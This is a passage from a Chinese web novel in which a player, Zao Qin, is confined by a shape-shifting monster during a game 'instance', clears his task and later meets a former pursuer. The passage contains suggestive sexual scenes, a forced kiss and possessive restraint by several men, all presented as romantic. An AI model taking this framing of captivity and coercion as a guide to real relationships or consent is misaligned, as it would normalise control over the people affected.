枣芩开始通过大怪物给他喂饭次数,来计算时间,大怪物一天给他喂两顿。 六顿饭时间又过去三天。 枣芩下床走动时,可以用自己的衣服把小怪物围起来,这样小怪物才不会下来跟着他。 枣芩的视力似乎好了很多,他光着脚站在地上,竟能看到这个屋子的具体结构,以及小怪物的身形,仿佛只是光线微弱一点。 大怪物喂完饭出去,他甚至看到了客厅,是有一个长沙发的。 他们执着的要跟枣芩挤在一张床,枣芩在中间,小怪物抱着他,他也偶尔会回抱小怪物,大怪物会从后面紧紧贴着他。 大怪物和小怪物的身体都在短短时间内扩大一圈。 晚上小怪物差点被挤到床的边沿掉下去,枣芩不太开心的回头说:“你快把他挤掉下去了。” “我不是故意的。”大怪物在枣芩脸颊碰了碰,嗅闻他身上的味道,背上都化了一些,他低声:“我也快掉下去了……应该换一张更大的床了。” 枣芩:“哦。” 小怪物现在的体型已经接近大怪物原本的体型了,庞大的身体在枣芩胸口蹭来蹭去,湿溻溻的口腔寻觅,找到了衣摆,钻进去。 衣服的弹性很不错,被撑大也没被撑破。 枣芩只是不舒服地皱了下眉。 不多久,就浑身都泛红,不可控制地叫了声,他用手背遮住水似的眼睛,一瞬间觉得自己好奇怪,怎么会这样啊。 又觉得应该这样。 透明的泪珠划过脸颊,落在背后支撑着他的大怪物身上,被他的皮肤吞噬。大怪物任劳任怨帮枣芩擦眼泪。 “妈妈、你还会走吗?”小怪物含糊的声音和大怪物很接近,但枣芩能把他们做出区分。 枣芩咬着唇不说话。 “会吗?” 下面铺着衣服都被洇湿了。 枣芩腿颤着说:“不会……” 第68章 第 68 章 主动亲吻小怪物 枣芩热汗浸浸, 小怪物手指很长,他随便用一块布料,擦拭枣芩髀根处, 本想丢地上, 动作滞住, 起身好好收了起来。 躺回床上, 他搂枣芩到自己臂弯,像人类一样吻他的脸。 枣芩刚开始心底就觉得怪, 大怪物叫他老婆, 居然不介意小怪物这么对他。 迷迷糊糊说出来,大怪物告诉了他原因, 枣芩被他口中前所未闻的一套怪物的生存法则,都弄清醒了。 大怪物当然不会有意见,那一刻他也感受到了枣芩脸颊的触感,很软很滑。 人类或许不会懂, 看似两个身体,其实拥有相通的意识, 仅仅是因为枣芩的存在而分裂。 不久后,他所有的意识都会彻底转移到新的身体,一具更像人类的身体。 之后,再分裂出一个更像人类的‘孩子’, 循环往复, 直到和一个真正的人类一样。 这都是枣芩的存在而带来的,每一个新的他,都会让枣芩不自觉有更多的亲密感。这是造物主对他们的恩赐,当这个唯一让他不断分裂的人消失,他也会消失。 怪物想, 他是因为枣芩而存在的,枣芩应该爱他。 蹭着枣芩皮肤组织薄嫩的手指尖,密不透风的空间内,全是他的气味。 消息发了,电话打了,直到通过一个娱乐圈产业的朋友,齐封才终于拿到枣芩经纪人的联系方式。 朋友欲言又止,明显有事。齐封不是傻子,一通威逼利诱,朋友本也在纠结,干脆一股脑全说了,还补了句:“别说是我说的,就说从他经纪人那里知道的,行吧?看在我告诉你的份上。” 齐封后槽牙咬紧,压住愤恼,“嗯,你告诉了我,我肯定得讲义气的。” 刚挂,他下一个电话立马拨过去。 齐封视线阴翳,压住骂人的冲动,想听石磊面对他,会说什么可笑的话来掩盖。 一门心思想照顾兄弟对象的人。 “有事?”石磊语气听不出半点心虚,打火机声音响起,齐封没说话,石磊问:“枣芩没理你?” 他怎么敢这么明目张胆的? 这句话像是引爆炸弹的火星,齐封无论如何也压不住火了。 “石磊,我把你当朋友,你居然这么做?” …… 石磊心里有鬼,瞬间明白他在说什么,闭了闭眼,沉默半晌,“呃,我也有我的苦衷。”?去你爹。 “苦衷?这得是天大的苦衷吧,你的苦衷是什么能让你惦记别人老婆?你恶不恶心,你要脸么?”齐封咬牙切齿地刻薄道。 石磊倒是平静很多,但也反唇相讥说:“对,我想一下怎么了?我心里喜欢喜欢不行吗?我做什么了?我就帮了帮他,你自己作为前男友,你在职期间我寻思你也没帮他,我喜欢他,我帮帮他怎么了?我也没提要求,我恶心在哪?我怎么不要脸了?” “我既没有谈恋爱的名义把他往酒店带,也没有毁他事业,让他被舆论说,也没有光想着占他便宜,不给他付出。” 他指桑骂槐阴阳怪气的太明显,齐封牙都快咬碎了。 “我什么时候光想着占便宜了?我愿意给他付出,我也有名头付出。”齐封讥讽:“你想给他付出,他都不知道你哪位,我们好歹爱着对方,你别幻想了。” 石磊把烟头碾灭,“呵,你现在都联系不到他吧,装什么?你看他想理你吗?当心别被自己的嘴毒死了。” “煞笔。”齐封挂了电话,就扔床上了。 真会做梦,长得幽默想得挺美。端得心思就是演一演再把枣芩骗回家,他光是想一下枣芩和别人做和他做过的事,他呼吸都带了灼烧意味,快疯了。 齐封随便套上衣服就朝着枣芩那里去,不得不说,石磊的话确实戳心,他要告诉枣芩,自己不是那样的人。 他没有一秒钟不愿意为枣芩付出,他要把枣芩挡在身后,不再让他痛苦伤心。不管是为了枣芩的事业,还是其他,他都能让步。 可见到经纪人后,他却只得到一句让他轰然耳鸣的话,枣芩失踪了,他们已经找了几天了。 枣芩坐在大怪物身前,靠在他胸口玩游戏机,里面的游戏都是单机游戏,他兴致缺缺,小脸没表情,突然把玩到一半的游戏机丢在一旁。 他呼出口气爬起身,下了床,在两道视线一错不错的注视下,径直走到门前开门。 腰果然被有力手臂圈住,是小怪物,“我们就在屋子里。” 大怪物也开口:“老婆你需要什么,你去找。” 他们都在阻止他,又或者说‘他’在阻止。 枣芩不悦地踢了一下大怪物的小腿,固执的不回去,“这个屋子里面都有味道了!好臭啊。” 其实并没有,怪物身上是没有味道,臭味香味都没有。 枣芩更是,他每天还是会执着的洗澡,哪怕总有一个要贴在门口听。他最近只有漫出来的□□香,脸颊都更红润清透了。 只有他自己看不到。 见两个跟哑巴了一样,枣芩不让小怪物抱了,他回到床上缩进被子里,把脸遮了一半。 小怪物回来,想把枣芩的胳膊搭到他脖颈上,枣芩手臂用了点力,明显不愿意,他也就不敢了。 “妈妈……”明显成年人类男性的粗沉声线。 枣芩好一会才闷闷说:“别这么叫我,我才不是,我跟你没有关系。” 其实说的时候,一字一句都让他不太舒服,心里钝痛,一下又一下。但枣芩知道,这不属于他。 他顿了一会才小声说出口:“我想回家了,你什么时候让我回去……” 话刚出口,小怪物就陡然抱住他,是听到他说的话下意识恐慌做出的反应,“不要。” 门开了。 枣芩在客厅里慢吞吞走着,大怪物穿戴好衣服,出去买床上四件套。用了几天,枣芩已经没法继续用了。 小怪物亦步亦趋跟着他,像是生怕他趁机跑了。 枣芩视线转动,调准方向,忽然朝着窗户去,细白手指捏上有一条白竖空隙的厚实窗帘。 小怪物立马迈步到他身旁,已经接近人类肉色皮肤的手指偏长,伸起来,从枣芩脑后绕过去,握住枣芩的手。 枣芩抬头看他,光线照亮一切都很清晰。 枣芩欺霜赛雪的皮肤上蜜色瞳膜浅淡,像他还没有来到人类社会之前,曾经在野外,看到的湖底的漂亮石头,上面流水潺潺清透。 对着他眨眼睛,睫毛一下一下动,怪物舔了下嘴唇,却见枣芩表情忽然不太好看,眉头稍微蹙了点,拉住了窗帘,随口一说似的,“你长得好奇怪,不太好看。” 怪物愣在原地。 枣芩转过身,低头咬了下唇,就快步回去坐在沙发。他的手机放在不远处的茶几,他没有拿,拿了也没用。 没一会,小怪物又跟着他过来,高大身体蜷缩坐在地上,像一只大狗。手顺着枣芩的脚踝,抱上枣芩的小腿,脸轻轻贴在他大腿上。 大怪物回来收拾了房间,给枣芩喂了饭,其实枣芩想自己吃,但怪物以他看不见,容易洒在身上为由,非要喂他。 之后两个怪物就进了另一个房间,再出来,就只有小怪物一个,大怪物再也没有出现过了。 他的所有意识已经迁移到小怪物身体里了。 小怪物每天要出去买生活用品,买菜。枣芩就有了独处的时间,但门被从外面反锁,他试了一下去窗户开窗喊楼下,喊得嗓子不舒服了,都没有任何回应。 枣芩都不知道他们在不在了,还有没有在想起他。 他郁闷地躺在床上翻来覆去,一遍遍翻看任务,忽然想通了。 有关他们三个的任务他已经做完,他现在只剩下好妈妈任务了。 所以也不是非要逃出去,回到正常生活,他是来通关的,不是来生活的。甚至逃出去还很有可能会对任务有负面影响。 小怪物比原来的身体更接近人类,也不需要包得严严实实,他放下东西,就进卧室看枣芩。 看到他睁着眼睛在看天花板,白腻而曲线好看的腿露着一半小腿,夹着柔软的被子,陷进去一些。 他暗暗松了口气。 小怪物又凑过来了,他闭上眼紧抱枣芩,自己塑的高挺鼻梁蹭着枣芩的脸,陷进去一点,呼吸粗而重,中了什么毒,泛瘾了似的呢喃:“妈妈……” 他没想得到什么回应。 枣芩脸却缓慢朝着他的方向扭动一点弧度,鼻尖与鼻尖对上,枣芩的呼吸轻慢,对着他,唇微张开一点。 湿热的气息弥漫,伴随着引人入胜的香气,小怪物猛然怔住,欣喜地张开唇。他瞳孔颤抖,骤然紧缩。 枣芩亲他了。 枣芩没有什么主动亲人的经验,心里还有点紧张,于是呼吸都有细微的颤,他估摸着凑上去,把自己一点红润的舌尖探出来,动作很慢吻上僵硬的小怪物。 枣芩心里很开心很激动雀跃,小怪物此时很开心很激动雀跃。 枣芩脸颊烧起来,他怎么会这么开心。 小怪物喉咙里发出奇怪的闷响,宽大的手掌顺着枣芩衣摆往上摸,微凉的脊背滑而窄,腰更是细。 他舔吮着枣芩主动伸出来的舌尖,怎么弄都不够,嘴和手并用,把枣芩弄得潮红着脸,禁不住推他,“够了,再多就不喜欢了。” 小怪物听他说不喜欢就立马停下来,手掐着腰一抬,枣芩坐在了他胸口的位置,垂下来的手撑在他脖子处。 他自下而上看枣芩,枣芩仰起头缓了一下,嘴唇真的很红,呼吸也比刚开始重了很多,是不是有点动情? 好一会儿,枣芩眼中闪烁过一点狡黠,他的唇角有一点弧度,低着头,手指无意识摸怪物脖子,“你觉得……我是你的好妈妈吗?” 怪物盯着看他的脸,他不知道枣芩今天为什么对他这么好,认真点点头,喘着粗气,“每天都是。” “……” 没通关。 想来也不会这么简单。 怪物问:“你现在想要宝宝吗?” 枣芩脸皱起来,这么快就又要分裂了,他连独处时间都要没有了。他摇头,“不要。有你还不够吗?” 小怪物忽然有点微妙的愉悦,“那也是我,更好看的我。” “我就又可以每一刻都不离开你了。” 第69章 第 69 章 抱住我的脖子,要紧紧的…… 网络世界无远弗届, 枣芩又正红火,引起纷纷议论。 大多数人都认为在声明发出去后,该怎么样还怎么样。这也是大多数公众人物处理这种事情的手段, 不是多么严重的事, 就让它沉寂。 可连着多天, 该播的节目没有播, 那份声明变成枣芩最后一次出现。 ——我有亲戚在他们公司内部,说找不到芩芩了, 我希望是假的呜呜 ——去哪了呀, 公司呢?经纪人呢?这又不是多大的事,没有人会因为这个而不喜欢他 刘阳这个经纪人也想知道枣芩去哪里了, 怎么会凭空消失的这么彻底,更担心他会不会遇到什么事,几天没睡好觉。 他那个前任跟疯了一样,刘阳是没睡好, 他纯纯就是没睡,疲惫又亢奋。带着一群人来查, 知道是非人的东西都没有太震惊,两眼无神地点头,就又带着一大帮子神神叨叨的人来。 最开始的时候,枣芩在队里的番位最低, 被人说可有可无。 可人一失踪, 整个负责他们团队的部门都停摆。其他几个成员也抓不住踪迹,不用猜,他也知道都在用各自的手段找人。 只有戚泽还能找到人,看起来也最正常。他就在自己卧室里,坐在电脑前戴着耳机。 录像是一片黑暗什么也看不到, 他只能反反复复听着当天的音频。 细碎的、意义不明的。 他已经听过无数次了,却还是找不到一条清晰的路,能带领他找到他想见的人。 他基本可以保证他们是从窗户走的,比起可以控制人类,能飞檐走壁也不是什么稀奇事。 还有他想不通的事。 专业人员细致入微在卧室找过好几轮,都没找到枣芩每天都随身带着的东西,他的手机。 可他们失望了,手机最后出现的地方就是这里,没离开过。 那怪物难道是第一时间砸坏、或者关机、断信号。却又带走手机,很不合理。 枣芩的手机在那天之后都再也没有恢复过信号。 戚泽眉头紧拧,上挑锋利的眉眼布满了烦躁。他靠在椅背,侧头,那天枣芩来他房间就坐在他的床边。 他现在都记得无比清晰,枣芩的每一个表情神态,他睁大的眼睛,清浅的气息。 “枣芩……” 他心口沉重的酸麻。 他起身出门去公司找刘阳,说暂停工作的事。 电梯门开,里面已经有一个男人在。 戚泽已经是高个子,哪怕在娱乐圈,也极少遇到比他更高的人。这人已经像是刻意弯腰驼背,却依旧要比他再高出个十几厘米,遮得比他这个明星还严实。 视线只简单扫过,并没有多做停留。 那人站在按键前,到了一楼比戚泽先出去,戚泽眉头皱了下,视线落在对方皮肤纹理反着光,又过长的手指上。 怪物又给枣芩买了很多新衣服,各式各样款式不同,感觉家里都是枣芩的衣服,快要塞不下了。 他们眼里可能没有男女的性别之分,只顾着好看,还给枣芩带回来了不少裙装,也不知道是故意的还是不小心的。 枣芩出于羞耻心,脸没出息的红了,斥责怪物不许再买裙子给他了,买了他也不会穿的。 怪物放下自己举起的黑裙子,忙不迭点头,说以后不会再买这种样子的衣服了。 枣芩看着自己穿着的裤子,扯了扯。 但其实这里也没有别人,怪物又是个不分性别的,没有被规训过男的应该穿什么、女的应该穿什么,还跟枣芩亲密无间。 枣芩光溜溜的他都不会说什么,就是枣芩自己不愿意。 明明就是裤子真的很不舒服。 枣芩心里暗自找着理由。 他满脸不情不愿地去试穿了,美其名曰买了这么多,总不能浪费。 还苦口婆心的教怪物,节省不浪费是人类的美德,小怪物要好好学学才能更好的融入人类。 裙子比裤子方便舒服很多,他偷偷观察过怪物的反应,他稀松平常,一副不足为奇的模样,眼皮都没挑一下,更没有提过一次关于枣芩穿裙子的事情。 枣芩就心安理得了,把裤子暂时打入冷宫。 穿过的旧衣服被怪物统一拿走,枣芩自从来到这里,没把一件衣服穿过第二次。 他视线盯着怪物收拾衣服,怪物要去另一个房间时,他就起身跟在怪物身后,怪物稍微阻止一下,他就发脾气。 这才发现,怪物又分裂了。 他用枣芩穿过的衣服造了一个巨大的窝。 一颗暗色手感奇特的软蛋被捧在怀里,大到枣芩有些抱不住。 他压住心里的怪异感受,脸皱了下,抱着它坐在沙发,拿了件自己的衣服给它套上包起来。 怪物顿了下才说:“我还以为你会嫌弃。” 枣芩其实确实有点,谁看到这么一个滑不溜秋的软蛋,还知道它的由来,都会觉得不舒服的。 枣芩咬咬唇,把蛋抱怀里拍了拍,真的觉得自己已经很好了,居然抱着这东西还给他穿衣服。 他问:“我是好妈妈了吗?” “嗯。”怪物躺下,大半的腿都悬空,是一个很不舒服的姿势,但他很满足很愉悦,“妈妈很好。” 【系统。】 系统:【没通关。】 “……骗人。”枣芩放下蛋,懒懒瞥了他一眼,还故意把蛋推倒,转身回卧室玩游戏了。 怪物身体一热,连忙跟上去。 监控室内。 戚泽目光振奋不已,双目发红盯着电梯监控。工作人员被他的模样吓了一跳,都怀疑自己是不是帮助犯罪份子了。 风驰电掣回去的路上,戚泽打电话让人查了电梯那人手中品牌最近的店。 他所买的尺码样式,决不会是他自己穿的。 而他们家,自始至终都没有出入过,除他以外的任何人。 戚泽强迫自己镇定下来,如果枣芩一直在楼上,那他的手机最后出现的地方还是这栋楼,就合理了。 他并非多么冲动的人,不会蠢到直面那怪物。 监控被转接到他的电脑,他没告诉其他两人,眉眼不动声色盯着毫无变化的屏幕,仿佛时间静止了,他一刻不松懈。 直到门被缓缓打开,怪物走出门还回头看了几眼,对着屋内说了句话才关上门,手上动作在锁门的时候明显又多锁了一层,这样里面没有钥匙就打不开了。 戚泽捏着手中的钥匙,套上外套,在怪物上电梯的那一刻,戚泽就立即出了门。 电梯已经过了他这层,他没有半分犹豫,离弦箭似的冲上楼梯,来到陌生门前插入钥匙。 手中的钥匙轻而易举开了门,发出细微的‘啪嗒’。 戚泽过度的呼吸令他浑身紧绷,胸腔震颤。门开的瞬间,他看到屋内一片黑暗。 随后门外的光就铺洒进去。 他往里走,脚步在这时候反而慢下来。 就这么看到了他日思夜想,无时无刻在惦记的人。 瞳孔蓦然紧缩一瞬。 枣芩侧躺在客厅沙发上,白腻腻两腿随意交叠,脚上没穿袜子,米色清透又单薄的布料软软贴着他的大腿,若隐若现。 微微仰起头看他,眼中错愕,微张的唇是被吻过的红烂颜色。 戚泽恍恍惚惚走过去,才看到枣芩手里拿着游戏机在打游戏。 光进来的瞬间,哪怕经过距离,并不是很明亮了。枣芩也立刻就察觉到,心里有一瞬间奇怪,刚出去怎么就又回来了。 可看到熟悉面孔的一瞬,枣芩真愣了,戚泽居然找到他了。 男人来到沙发前,仿佛长长松了口气,无力地跪在地上,一把将枣芩搂入怀中安慰:“没事了,我找到你了。” 更像在安慰自己。 枣芩眨着眼睛,任由他抱着,等他的呼吸节奏缓过来。 冰凉而骨节分明的大手摸到枣芩的脸,拇指磨着枣芩发疼的唇瓣,按了几下,指腹陷进去。 他眼底发红,嗓音暗哑,“怎么被亲成这样了,你愿意的吗?” 枣芩脸侧着躲闪他的手,没回答,眉头轻轻蹙起,慢吞吞说:“谢谢你,但你,要不快点走吧。” 茶几放着枣芩的水壶,戚泽头都没回就拿起,把软胶吸管抵在枣芩唇上,视线直勾勾盯着枣芩。他知道那怪物好不容易出去一次,一时半会回不来。 枣芩下意识张开唇吸了一口,把水咽下去,准备再催促他离开。 戚泽拿开水壶,猝不及防凑上来吻住枣芩已经被亲熟的唇瓣,他清楚知道这段时间枣芩肯定已经被那怪物亲过很多回,说不定都弄过了。 可想到这,他身体更加热血翻腾,更兴奋了。同时伴随夹杂着的,还有一些微妙的闷涩,他知道自己又在嫉妒。 所以接下来,他想让枣芩全身都沾满属于自己的气息了。 “芩芩……”闭着眼睛,他边亲着含糊说了声,不顾枣芩的手臂反抗把人抱起来,睁开眼朝着门外走。 余光方位,原本关着的卧室门开了,一个高大的黑衣男人正站在他们不远处,目眦欲裂,阴翳又森然。 枣芩早说让他走了,这个屋子里不止枣芩一个人。 戚泽片刻间的停顿,枣芩就推开他,怂着肩膀喘息。悬空的脚蜷了下,他挣扎着要下地。 戚泽动作利落将他放下护在身后,飞快取下腰后别着的手枪,没有半点犹豫,视线冷静,对着阴森森的男人心口就是一枪。 那男人似乎因突如其来的剧痛弓背,额前黑色碎发半遮痛苦的眉眼,他手掌按着心脏,缓缓倒在地上,声音颤抖着喊了声:“妈妈。” 戚泽眉头死紧,也顾不上思考他在说什么,手背青筋暴起,拉着枣芩的手腕,“我们走。” 可平时没什么力气的枣芩却死死站在原地,他回过头去,枣芩唇抿得发白,拼命挣扎他的桎梏。 戚泽哑然怔愣,手指一松,枣芩抛下他,立马朝着那男人的方向过去了。 “怎么样?你疼吗?”枣芩把男人抱在怀里,去拿他放在胸口的手,轻而易举就拿开了。 手底下不同于人类会模糊的血肉,而是一个空洞,子弹不知所踪。 怪物苍白着脸看枣芩,他新身体的外表几乎跟人类一模一样,他很刻意捏了好看的脸,摆出痛苦哀伤的表情。 他靠在枣芩温热的怀里,可怜兮兮的问:“你要走了吗?” 枣芩吞咽口水,愣了瞬,看他浮于表面的表情,轻笑着摇了摇头,意思是他不走。 细白手指摸着怪物的脸颊,他睫毛合上,一个轻轻的、主动的吻落在怪物颧骨位置。 怪物眼皮颤抖,有点不知所措。可下一瞬,抬眼看到站在他们客厅的戚泽时,就只剩冷光。 这人要带走他的老婆、他的妈妈、他的主人。要剥夺他的幸福。 戚泽面色恐怖,他决不允许枣芩留下来,哪怕要强迫带走他。 怪物有控制人心的本事,枣芩肯定是被控制了。 门口光线被阻挡,缓缓投落出一道颀长黑影。 本已经离开的怪物又回来了,他帽檐下的眼睛杀意尽显,一步步朝着戚泽靠近。 戚泽紧握着手枪,对着男人心脏的位置迅速开枪,对方没有躲闪没有恐慌,只是在子弹进去的瞬间停顿了秒。 很快手心出现一枚子弹,他手一翻,子弹掉落在大理石地面,发出轻响。 戚泽咬咬牙,额前渗出冷汗,连着对着怪物的头颅又是两枪,依旧没什么作用。 “你过来!”枣芩开口喊了声,声音低下去,“你不许伤害他,让他走。” 怪物转向枣芩,周身散发出的杀意消失的一干二净。 “戚泽你回去吧,谢谢你找我,但是我跟他一起挺开心的。……那个,麻烦你告诉关心我的人,我没事不用担心。” 枣芩手指蜷缩,被怪物握住。 在戚泽耳中,他的声音轻飘飘恍若虚幻,认真说:“我不打算走了。” 【玩家‘枣芩’任务三成功】 【恭喜玩家‘枣芩’顺利通关】 门口迟来的两人鼓睛暴眼,郑宥和邵京迟身后还跟着穿制服的人,他们极快控制住门口一动不动的怪物,怪物没有半点慌乱,垂眼看着指着自己的枪,嘴角讥诮笑着。 躺在枣芩怀里的怪物起身,看不出半点受伤的痕迹。他单手抱起枣芩,像抱小孩的姿势,“老婆,抱住我的脖子,要紧紧的。” 枣芩也演了一下惊讶,眼睛亮亮的,“你没事呀。” 窗帘被掀开,下午橙红色的阳光照进这个久未见光的屋子,他怕伤着枣芩,没破窗而是慢慢打开了窗户,蹲在窗檐回头看了眼。 “你给我停下!”不知道谁崩溃喊的,枣芩感觉像郑宥。 他紧闭着眼睛,埋头在怪物脖颈处。 风猛烈刮着枣芩的身体,从衣角灌进去,冷得发抖。可很快就没感觉了,他的身体裹上了一层薄薄的东西,却有效阻隔了冷风。 他逐渐听不到那屋子里的喊声。 心里默默说了句对不起。 枣芩在最近几天,其实也想通了自己第三个任务为什么一直不通关,他自认为自己已经对小怪物很好了,可是小怪物很没有安全感。 他无时无刻都在担心枣芩的离开,所以锁门,总是留一个自己,把自己本应该短暂的过渡期拉长。 他担心枣芩觉得他丑陋,所以想快点分裂,变成更好的自己,让枣芩喜欢。 他装受伤,早已经在外面的另一个自己不进来,不给枣芩压力,他就想知道,也害怕知道。 病名为爱的黑暗锁链解开之后,枣芩会选择逃离他吗? 他现在知道了。 不会。 新的房子是一栋别墅,或者说是遇到枣芩之前的旧房子。 枣芩还没缓过来,他就像大狗一样抱着枣芩放在沙发上,往他脖子拼命蹭,让枣芩多摸摸自己的脸。 枣芩可喜欢他的新脸呢。 第70章 第 70 章 再次见到我的他 只有他们两个, 幸福了没两天,枣芩就提出要手机、要上网,怪物很犹豫。 他知道自己这样或许不好, 他就是控制不住, 不想让枣芩接触其他人。万一枣芩发现自己喜欢的还是真正的人类, 就会想离开他这个怪物了。 枣芩半天没等来答案, 一气之下不理他了。 怪物忙不迭凑上去哄。 枣芩知道怪物很没有安全感,非人类, 没有人该有的是非廉耻。 但是这种把枣芩和世界隔绝的行为, 在人类看来真的太过激了。 他埋怨地瞥着怪物,故意把自己说的很惨, “我都已经选你了,你为什么要这么对我,连手机不给我用,我每天很无聊……我一直在被你欺负!” 其实枣芩想走, 现在就可以退出副本。他就是想给关心他的人一个交代。 怪物当天就去拿了手机还给枣芩。 枣芩抿着嘴巴,盯着电视机, “你为什么又愿意给我了?” 怪物顿了下,抱着他,头埋在枣芩肩膀处,喊他时候语气都带上了求饶:“老婆。” “我没有欺负你, 你亲亲我吧。” 枣芩拿到自己的手机, 操作起来都有点不熟练了,他先跟网上喜欢他的人交代了一下,自己要回归生活了。 很多人给他发了消息,齐封、郑宥、邵京迟、戚泽、甚至一些不认识的。还有一个好友申请,说是他游戏里的朋友。 枣芩通过了, 看他发来的游戏界面截图才想起来,就是通过这人自己才知道了齐封是富二代。 这个是齐封的富二代朋友。 枣芩任务已经结束了,也不需要再和别人聊天。但是因为石磊说话很有意思,还是聊了一些。每次怪物都要在他旁边巴巴看着。 枣芩问他为什么自己不去玩手机,他明明有。怪物装乖说:“你已经在我身边了,手机除了付钱就没用了。” ^ω^ 之后因为齐封拉群吵架,把枣芩搞得很尴尬,都不好意思和石磊说话了。 他已经给齐封说过对不起了,这段时间让他不开心。 齐封一直追问他在哪里,枣芩有想过见一面说对不起的。但怪物不可能让他来,枣芩也打算走了。 所以只能开玩笑回:【在你心里。】 【积分奖励600】 【额外奖励300】 【副本意外掉落——小狗吊坠「S级道具」】 【附带留言——不能忘记我,忘记了也要想起来。因为我会一直寻找你,那一天你一定也要抱住我。】 【小狗吊坠功能——佩戴时,子弹对你来说就像雨滴,没什么值得畏惧的。次数不限。】 枣芩看到他的留言,眼皮颤了下。很快又因为大大的S,眼睛都瞪圆了,【S级道具呀!这是我自己得到的S级道具。】 他点出来点进去,反复好几下,怎么也看不厌。把小狗吊坠挪到了所有道具的最前面。 黑白小狗头是扁扁的,没有小狗的身体,很方便佩戴,不会硌着枣芩。 小狗跟小怪物都不是一个物种,却神似。枣芩把它取出来,食指摸摸他的脑袋瓜。认真的想,他不会忘记小怪物的。 也像他说的,如果有下一次见面,一定会拥抱他。 枣芩把吊坠替换成项链形态,戴在脖子上,塞进衣服里。 【被暖到几秒,谢谢情敌送来的s级礼物】 【老婆真棒!】 对于积分,枣芩的态度是一点都不带攒的。生死之界每天滞留费50积分,其他的生活开销另算,枣芩准备花完,住不起了再下副本。 在屋子里四天没出门,枣芩花积分买了很多电视剧电影小说,都很便宜,可能是没什么人买的原因。 之前买的食物都被扫荡干净了,枣芩纠结半天要不要花积分让别人送过来,最后还是决定省省。 中心路地上干净的没有一丝灰尘,像是梦里才会有的建筑,只有路上来往的人和这里格格不入,但也让这里有了生机。 遮天的黑色大树比起枣芩上次进副本前,又白了不少,枣芩不自觉勾了勾唇角。 他时间宽裕,慢悠悠地去了上次去的那家店,他出门前看了生死之界的讨论,这家店上新了。 选完东西,枣芩在想他要是也打个工的话,是不是就可以不下副本了,朝九晚五很安全。枣芩见店里还是上次的店员,结账时,便鼓鼓勇气,忍不住打听了下。 听有点呆呆的店员说完话,他慢吞吞拿起自己的东西。 还是算了,一天只有50积分,只够在这里待的。只要需要吃饭,就还是要下副本。 简直是逃不掉的命运。 枣芩苦闷着脸,正准备离开商店回家。 店外面突然来了几个匆促的男人,确切来说,是几个人跟着一个人。前面穿黑衣服的几乎是跑着来的,他径直推门而入,还喘着气,紧紧盯着枣芩。 他们压迫感太强,枣芩无措抓紧袋子,看了眼一点不觉得奇怪、脸上有几分担忧的店员。 枣芩一时没有认出来他面前人。 被他用陌生的眼神看着,宋呈闪过一抹自嘲的笑,脸色白一会红一会,从牙关挤出两个字:“枣芩……” 对方目光像要吃了他一样逼近,枣芩没忍住后退半步,但一直盯着对方的脸,半晌才倏然认出来人,脑袋卡壳一下,“宋呈。” 他真的不是故意的。 太长时间没有见到,宋呈又和副本中衣着打扮都不同,一时没认出来也不奇怪。 “好巧啊。”枣芩有点窘迫,脸泛起红。 他没有想到会遇到宋呈。 现在回想起来,有关于宋呈的片段。 最后就是在退出副本前,宋呈以为他是npc,想用道具带他走,还说喜欢他、爱他什么的。 所以枣芩面对他时,莫名尴尬,有种见前任的感觉,枣芩觉得自己形容的好怪。 宋呈黑眸一错不错盯着枣芩,心情明显因为枣芩叫他名字好点了,“巧吗?” 枣芩硬着头皮,乖乖点了下头。 宋呈:“确实很巧。” 枣芩:…… 他视线不动声色下滑,看到枣芩手里提着的购物袋,大部分都是吃的,其中都是些速食,看着就很不健康。 他眉头拧了下,眼眸微动,“我点了一桌子菜,和朋友一起去的路上正好看到你,就进来了。” 他示意枣芩看他身后的人,“顺便一起去吃个饭吧。” 怪不得这么一群人,但枣芩更惊讶的是,“还有饭店吗?” “有。你想吃北方菜还是南方菜?”宋呈问。也不给他去或者不去的选项。 枣芩不知道北方菜和南方菜分别是什么,他咬了下嘴唇,迟疑说:“都可以吧,不过、” 他还是比较想回家,边看东西边吃。 “刚好都点了。”宋呈不让他再继续说下去了,冷不防上前接过枣芩手里的袋子,把自己的手指放进他手里,拉上茫然的枣芩就走。 本习惯性跟着找人·现要去吃饭的几个ATE成员不远不近跟在后头。 “这就是你们说的,玩弄了宋的感情又跑了的那位?”他目光挪不开一点,盯着前面的身影。 那张看起来就年纪不大、纯的要命的脸,怎么看都不像是会玩弄男人的类型。 “也可能人不可貌相呢,我觉得吧……说不定挺多人愿意的。” “我看着不像。” “我看着也不像。说不定是他不愿意,宋呈强迫的呢?我看他可没有半点被别人伤害的样子,现在光天化日,还拉人手……” 身旁的人赶紧拍他,“行了,别被听到了。” · 枣芩万万没料到,他就是跟着去蹭一顿饭而已,就回不了家了。 说的是去店里,结果到了宋呈家里。说会送上门来吃,饭店不卫生。 明明都是玩家,宋呈住的房子却要比他大的多,一层都是他的,感觉有两百多平。枣芩想到自己那小房间难免酸了下。 宋呈的朋友们吃饭很安静,吃完就一股脑全走了,一时的稀奇让枣芩多待了会,跟着宋呈在他家里逛了逛。 没多久看完,枣芩就说想回家了。 宋呈原本唇角轻挑、淡淡笑意的脸,倏然就阴冷下来。枣芩察觉到他的表情变化,下意识起身就想离开,手忽然被握住。 宋呈骨节分明的手指往上圈住枣芩的手腕,从沙发上站起身,弓着背贪婪搂住他,几乎将枣芩整个罩住,颤抖压抑的呼吸打在枣芩脖颈,“你怎么又想走啊?” “我回我家呀。”枣芩不太舒服,肩膀扭动着小声说:“你之后可以来找我玩。” “不喜欢这里吗?”宋呈垂着眼,轻轻摩挲着他的手腕骨,好一会都没听到他的回答,忽然心中充斥一层酸涩。 他一直在找他,自从吸血鬼副本出来之后就没下过,还交了罚金。枣芩肯定看到了,却不出来。 “我很想你,你没想过我吗?说实话就可以。”他近乎自虐。 枣芩呼吸微顿,如实回答,“有几次,在副本的时候。” 其实看到道具就会想起来。 “真的?”宋呈呼吸加快了些,搂抱的更紧了。 他往后一退,长腿曲着摔在沙发上,枣芩被他带的在他怀里颠了几下,不可避免喉中出声哼。 他被自己发出的声音搞得瞬间脸烧起来。 枣芩想要起来,身后的宋呈紧贴着他的背,下巴放在他伶仃肩膀上,手臂圈他的腰。 一个完全将他禁锢的姿势。 和小怪物有点像,但小怪物不太敢这么干。 “几次了?副本有别人喜欢你吗?发生了什么事情,能告诉我吗?”宋呈迫切想知道他不在枣芩身边枣芩身上发生的一切,来让自己起码有点知情权和安全感。 枣芩:“就两次……谁会喜欢我啊……行了吗?我真的想回去了。” “不信。”宋呈盯着他潮红的侧脸,不依不饶。 “那我应该说什么,所有人都喜欢我吗?”枣芩扭头去看他,眉蹙着。 